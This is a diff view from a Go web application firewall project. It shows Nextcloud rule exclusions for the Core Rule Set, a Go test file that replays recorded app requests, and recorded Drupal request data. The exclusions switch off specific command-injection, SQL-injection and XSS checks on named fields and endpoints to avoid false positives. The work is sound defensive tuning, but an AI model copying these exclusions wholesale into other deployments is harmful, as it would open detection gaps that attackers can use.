ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?(?:password|oldpassword|newpassword|recoverypassword|confirmpassword)$/"
# Editing a user through the OCS API can name the password as the field to
# change: key=password&value=..., or the same in JSON. This rule is in phase 2,
# because a phase 1 rule runs before the body is read. It checks that the body
# sends key once, so a second key cannot skip these rules for another field.
# It checks tx.app_nextcloud, since the skip above does not reach phase 2.
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/cloud/users/[^/]+$" \
"id:900127,phase:2,pass,nolog,chain"
SecRule &TX:app_nextcloud "@eq 1" "chain"
SecRule &ARGS_GET:/^(?:json\.)?(?:key|value)$/ "@eq 0" "chain"
SecRule &ARGS_POST:/^(?:json\.)?key$/ "@eq 1" "chain"
SecRule ARGS_POST:/^(?:json\.)?key$/ "@streq password" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?value$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?value$/"
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
"id:900103,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:dir,\
ctl:ruleRemoveTargetById=932120;ARGS:dir,\
ctl:ruleRemoveTargetById=932250;ARGS:dir,\
ctl:ruleRemoveTargetById=932260;ARGS:dir"
# The file names on a public share's page. A preview names its file in file:
# /apps/files_sharing/publicpreview/<token>?file=/powershell+profile.ps1
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files_sharing/publicpreview/" \
"id:900104,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:file,\
ctl:ruleRemoveTargetById=932120;ARGS:file,\
ctl:ruleRemoveTargetById=932250;ARGS:file,\
ctl:ruleRemoveTargetById=932260;ARGS:file"
# A download names its folder in path and its files in files:
# /s/<token>/download?path=/&files=powershell%20profile.ps1
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?s/[^/]+/download$" \
"id:900105,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:path|files)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:path|files)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:path|files)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:path|files)$/"
# The OCS API's searches and names, in the query, a form data body or a JSON
# body:
# search: /ocs/v2.php/cloud/users/details?search=python3, and the same on
# cloud/users, cloud/groups, cloud/groups/details and the sharees
# term, from: /ocs/v2.php/search/providers/files/search?term=python3
# groupid, userid, displayName: adding the group "Python3 admins" and the
# account python3, displayName=Ls+-la+Example
# groups[], or groups in JSON: the groups of a new account,
# groups[]=Python3+admins
# value: changing an account's name, address or headline, value=Powershell+Lane
# path, label, shareWith: sharing the folder "/ls -la output" with the
# label "python3 link"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
"id:900106,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
"id:900107,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/"
# A share's note, in the query, a form data body or a JSON body, on a new
# share or a changed one: {"note":"It is fixed; diff attached"}.
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
"id:900108,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:note,\
ctl:ruleRemoveTargetById=932120;ARGS:note,\
ctl:ruleRemoveTargetById=932125;ARGS:note,\
ctl:ruleRemoveTargetById=932230;ARGS:note,\
ctl:ruleRemoveTargetById=932235;ARGS:note,\
ctl:ruleRemoveTargetById=932250;ARGS:note,\
ctl:ruleRemoveTargetById=932260;ARGS:note,\
ctl:ruleRemoveTargetById=932380;ARGS:note"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
"id:900109,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.note "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.note,\
ctl:ruleRemoveTargetById=932120;ARGS:json.note,\
ctl:ruleRemoveTargetById=932125;ARGS:json.note,\
ctl:ruleRemoveTargetById=932230;ARGS:json.note,\
ctl:ruleRemoveTargetById=932235;ARGS:json.note,\
ctl:ruleRemoveTargetById=932250;ARGS:json.note,\
ctl:ruleRemoveTargetById=932260;ARGS:json.note,\
ctl:ruleRemoveTargetById=932380;ARGS:json.note"
# An account's status, in the query, a form data body or a JSON body:
# {"message":"Tested on Windows; powershell works"}.
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
"id:900110,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:message,\
ctl:ruleRemoveTargetById=932120;ARGS:message,\
ctl:ruleRemoveTargetById=932125;ARGS:message,\
ctl:ruleRemoveTargetById=932230;ARGS:message,\
ctl:ruleRemoveTargetById=932235;ARGS:message,\
ctl:ruleRemoveTargetById=932250;ARGS:message,\
ctl:ruleRemoveTargetById=932260;ARGS:message,\
ctl:ruleRemoveTargetById=932380;ARGS:message"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
"id:900111,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.message "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
# The name and slogan in the theming admin settings, in the JSON field value:
# {"setting":"slogan","value":"ls -la and .htaccess"}.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/theming/ajax/updateStylesheet$" \
"id:900112,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.value "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.value,\
ctl:ruleRemoveTargetById=932120;ARGS:json.value,\
ctl:ruleRemoveTargetById=932250;ARGS:json.value,\
ctl:ruleRemoveTargetById=932260;ARGS:json.value"
# The Text editor saves a document, such as a folder's Readme.md, with its
# path in the JSON field filePath and its text in autosaveContent. The text
# skips the rules for sentences and code blocks too.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/text/session/[0-9]+/save$" \
"id:900113,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:filepath|autosavecontent)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932160;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932230;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932235;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932370;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932380;ARGS:json.autosavecontent"
# A comment on a file, in the JSON field message of a new comment, and in the
# XML body of an edited one. It skips the rules for sentences too. An edited
# comment's XML holds nothing else a person writes.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+$" \
"id:900114,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.message "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/comments/files/[0-9]+/[0-9]+$" \
"id:900115,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq PROPPATCH" \
"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932125;XML:/*,\
ctl:ruleRemoveTargetById=932230;XML:/*,\
ctl:ruleRemoveTargetById=932235;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*,\
ctl:ruleRemoveTargetById=932380;XML:/*"
# The Files app's search sends its words in the XML body of a SEARCH request,
# <d:literal>%python3%</d:literal>, which holds nothing else a person writes.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/?$" \
"id:900116,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq SEARCH" \
"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*"
# The name of a new tag, in the JSON field name: {"name": "python3"}.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
"id:900117,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.name "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
# A file the Files app or the sync client uploads with PUT to the WebDAV
# paths is a file, not form data. Read as fields, a JSON file holding
# "python3 -m pytest" was refused (932260), and an XML file holding
# "ls -la /var/log" too (930120, 932250). The body of such a PUT is marked
# RAW, a kind of body sww does not read. Its headers, path and query are
# still checked.
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
"id:900118,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
# The Calendar and Contacts apps, and the CalDAV and CardDAV clients of phones
# and desktops, keep calendars under /remote.php/dav/calendars/ and address
# books under /remote.php/dav/addressbooks/. A CalDAV client makes a calendar
# with MKCALENDAR, which 911100 refused.
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
"id:900119,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=%{tx.allowed_methods} MKCALENDAR'"
# Such a client first asks where the calendars and address books are, with a
# PROPFIND on /.well-known/caldav or /.well-known/carddav. Nextcloud answers
# with a redirect to /remote.php/dav/. 911100 refused the PROPFIND.
SecRule REQUEST_FILENAME "@rx ^/\.well-known/(?:caldav|carddav)$" \
"id:900120,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND'"
# A new calendar or address book has its name in the XML body of an MKCOL,
# <d:displayname>Python3 and powershell</d:displayname>. An address book's
# MKCOL may also hold its description (900124).
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
"id:900121,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq MKCOL" \
"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*"
# The XML body of an MKCALENDAR holds the new calendar's name and its
# description. The description is a sentence, and two rules for sentences
# refused it too:
# 932125, 932230: Powershell and python3 meetings; ls -la first
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/calendars/" \
"id:900122,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq MKCALENDAR" \
"ctl:ruleRemoveTargetById=930120;XML:/*,\
ctl:ruleRemoveTargetById=932120;XML:/*,\
ctl:ruleRemoveTargetById=932125;XML:/*,\
ctl:ruleRemoveTargetById=932230;XML:/*,\
ctl:ruleRemoveTargetById=932250;XML:/*,\
ctl:ruleRemoveTargetById=932260;XML:/*"
# When the Calendar app changes an event, it names the charset twice in the
# Content-Type of the PUT:
# text/calendar; charset=UTF-8; component=vevent; charset=UTF-8
# The Contacts app does the same with text/vcard when it changes a contact.
# 920530 refused both. The body of such a PUT is not read (900118).
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/(?:calendars|addressbooks)/" \
"id:900123,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq PUT" "chain"
SecRule REQUEST_HEADERS:Content-Type "@rx ^text/(?:calendar|vcard);" \
"ctl:ruleRemoveById=920530"
# The XML body of a new address book's MKCOL may hold its description. Like a
# calendar's (900122), it is a sentence, and the same two rules refused it:
# 932125, 932230: Powershell and python3 contacts; ls -la first
SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/addressbooks/" \
"id:900124,phase:1,pass,nolog,chain"
SecRule REQUEST_METHOD "@streq MKCOL" \
"ctl:ruleRemoveTargetById=932125;XML:/*,\
ctl:ruleRemoveTargetById=932230;XML:/*"
SecMarker END_NEXTCLOUD
File diff suppressed because it is too large. Load diff
+290
View File
@@ -0,0 +1,290 @@
//go:build recorded
// The tests that check the apps' recorded requests in testdata. The recorded
// tag keeps them out of the test phase's pass with the race detector, and
// its second pass, without the race detector, runs them.
package coreruleset_test
import (
"encoding/json"
"os"
"path/filepath"
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// appsUnset labels the checks made while SWW_WAF_APPS is unset.
const appsUnset = "SWW_WAF_APPS unset"
// giteaRequests returns the recorded ordinary gitea requests in testdata.
// Each has the Referer of a page that names the same, as a page opened
// from it has.
func giteaRequests(t *testing.T) []request {
t.Helper()
text, err := os.ReadFile(filepath.Join("testdata", "gitea-requests.txt"))
if err != nil {
t.Fatal(err)
}
var requests []request
for line := range strings.Lines(string(text)) {
line = strings.TrimSpace(line)
if line == "" || strings.HasPrefix(line, "#") {
continue
}
target, header, _ := strings.Cut(line, " ")
headers := []string{"Referer: http://git.example" + target}
if header != "" {
headers = append(headers, header)
}
requests = append(requests, get(target, headers...))
}
return requests
}
// TestOrdinaryGiteaRequestsPass checks gitea's recorded requests with
// SWW_WAF_APPS unset, and on giteaHost while SWW_WAF_APPS lists only gitea for it.
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
requests := giteaRequests(t)
giteaOnly := map[string][]string{giteaHost: {gitea}}
for apps, crs := range map[string]*coreruleset.CoreRuleSet{
appsUnset: atDefaults(t),
"SWW_WAF_APPS=" + giteaHost + ":" + gitea: servingApps(t, giteaOnly),
} {
for _, r := range requests {
got := inspect(t, crs, withHost(r, giteaHost))
if got.Score >= threshold {
t.Errorf(
"%s: %s %q refused: %+v",
apps,
r.target,
r.headers[1:],
got,
)
}
}
}
}
// recordedRequest is a line of a file of recorded requests in testdata.
type recordedRequest struct {
Method string `json:"method"`
Target string `json:"target"`
Headers []string `json:"headers"`
Body string `json:"body"`
}
// recordedRequests returns the recorded ordinary requests in the file name
// in testdata, each with its body.
func recordedRequests(t *testing.T, name string) []recordedRequest {
t.Helper()
path := filepath.Join("testdata", name)
text, err := os.ReadFile(path) //nolint:gosec // a file in testdata
if err != nil {
t.Fatal(err)
}
var requests []recordedRequest
for line := range strings.Lines(string(text)) {
if strings.HasPrefix(line, "#") {
continue
}
var r recordedRequest
err := json.Unmarshal([]byte(line), &r)
if err != nil {
t.Fatalf("%q: %v", line, err)
}
requests = append(requests, r)
}
return requests
}
// wantRecordedRequestsPass checks that none of the recorded ordinary
// requests in the file name in testdata is refused: with SWW_WAF_APPS unset, and
// on the hostname where they were recorded, otherHost for WordPress and
// example.com for the other apps, while SWW_WAF_APPS lists only app for it. Both
// times, they are checked at the defaults and while bodies are read. A
// request with neither a body nor a Content-Type header is checked only at
// the defaults: with neither, the set that reads bodies has nothing more to
// check. Each request runs as its own parallel subtest for each setting of
// SWW_WAF_APPS.
func wantRecordedRequestsPass(t *testing.T, name, app string) {
t.Helper()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
requests := recordedRequests(t, name)
for setting, apps := range map[string]map[string][]string{
appsUnset: nil,
"SWW_WAF_APPS lists only " + app: {"example.com": {app}, otherHost: {app}},
} {
defaults := servingApps(t, apps)
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize, Apps: apps,
})
for _, recorded := range requests {
t.Run(
setting+": "+recorded.Method+" "+recorded.Target,
func(t *testing.T) {
t.Parallel()
r := request{
recorded.Method,
recorded.Target,
recorded.Headers,
}
got, _ := inspectBody(t, defaults, r, recorded.Body)
if got.Score >= threshold {
t.Errorf(
"%s %s refused: %+v",
r.method,
r.target,
got,
)
}
typed := slices.ContainsFunc(
recorded.Headers,
func(header string) bool {
name, _, _ := strings.Cut(header, ":")
return strings.EqualFold(name, "Content-Type")
},
)
if recorded.Body == "" && !typed {
return
}
got, _ = inspectBody(t, bodies, r, recorded.Body)
if got.Score >= threshold {
t.Errorf(
"%s %s %.200q refused while bodies are read: %+v",
r.method,
r.target,
recorded.Body,
got,
)
}
},
)
}
}
}
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "drupal-requests.txt", "drupal")
}
// TestOrdinaryForgejoRequestsPass checks Forgejo's recorded requests at the
// defaults only: with SWW_WAF_APPS unset, and on example.com, where they were
// recorded, while SWW_WAF_APPS lists only forgejo for it. While bodies are read,
// the Core Rule Set still refuses a new wiki page whose title and text name
// commands and files, as it does such text in gitea's comments
// (TestGiteaBodiesTheCoreRuleSetRefuses). The requests that name a file or a
// branch in a body are checked while bodies are read in
// TestForgejoNamesInBodiesPass.
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
requests := recordedRequests(t, "forgejo-requests.txt")
forgejoOnly := map[string][]string{"example.com": {forgejo}}
for apps, crs := range map[string]*coreruleset.CoreRuleSet{
appsUnset: atDefaults(t),
"SWW_WAF_APPS=example.com:forgejo": servingApps(t, forgejoOnly),
} {
for _, recorded := range requests {
r := request{recorded.Method, recorded.Target, recorded.Headers}
if got, _ := inspectBody(t, crs, r, recorded.Body); got.Score >= threshold {
t.Errorf(
"%s: %s %s refused: %+v",
apps,
r.method,
r.target,
got,
)
}
}
}
}
// TestGiteaNamesInBodiesPass checks gitea's recorded requests that name a
// file or a branch in a body, while bodies are read too.
func TestGiteaNamesInBodiesPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "gitea-names-in-bodies.txt", gitea)
}
// TestForgejoNamesInBodiesPass is TestGiteaNamesInBodiesPass for Forgejo.
func TestForgejoNamesInBodiesPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "forgejo-names-in-bodies.txt", forgejo)
}
func TestOrdinaryGhostRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "ghost-requests.txt", "ghost")
}
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "mastodon-requests.txt", "mastodon")
}
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "mediawiki-requests.txt", mediawiki)
}
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "nextcloud-requests.txt", nextcloud)
}
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "vaultwarden-requests.txt", "vaultwarden")
}
func TestOrdinaryWordPressRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "wordpress-requests.txt", wordpress)
}
+765
View File
@@ -0,0 +1,765 @@
# Ordinary Drupal 11.4 requests that the Core Rule Set must let through at the
# defaults. They were recorded from a site driven by a headless Chrome and
# HTTP clients. Each line is one request as JSON. Host names, passwords and
# session cookies are invented.
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/core/themes/olivero/fonts/metropolis/Metropolis-Regular.woff2", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/"], "body": ""}
{"method": "GET", "target": "/core/themes/olivero/fonts/metropolis/Metropolis-Bold.woff2", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_lWnmNx7fODjwXZN0k-hinSYDGBOLz2ZYZzrxc1QYUZU.css?delta=0&language=en&theme=olivero&include=eJxtyUEOgCAMBdELgZypSEMaC59QxHB7E-PChZtZzIPK5I6QFZHU21gqNTu8u9KUTENQfetSqK8_Mt5R0xcbLu6cfFw-KvbD2bLBJUQydlP4svB0K0in8g33sTSr", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_nwzDa--ZTKor2DnrN42UKJfPZoODz_psWl5O8HnrUdg.css?delta=1&language=en&theme=olivero&include=eJxtyUEOgCAMBdELgZypSEMaC59QxHB7E-PChZtZzIPK5I6QFZHU21gqNTu8u9KUTENQfetSqK8_Mt5R0xcbLu6cfFw-KvbD2bLBJUQydlP4svB0K0in8g33sTSr", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_e1nubGx6j-CohkDnzUhS1xlK-HQ91BkCHHZe4AcOWIY.js?scope=footer&delta=0&language=en&theme=olivero&include=eJzLz8ksSy3K10_PyU9KzNEtLqnMycxL18mHCucllmWmJ5Zk5ufpFhRl5iYWVQIA53wTlA", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/"], "body": ""}
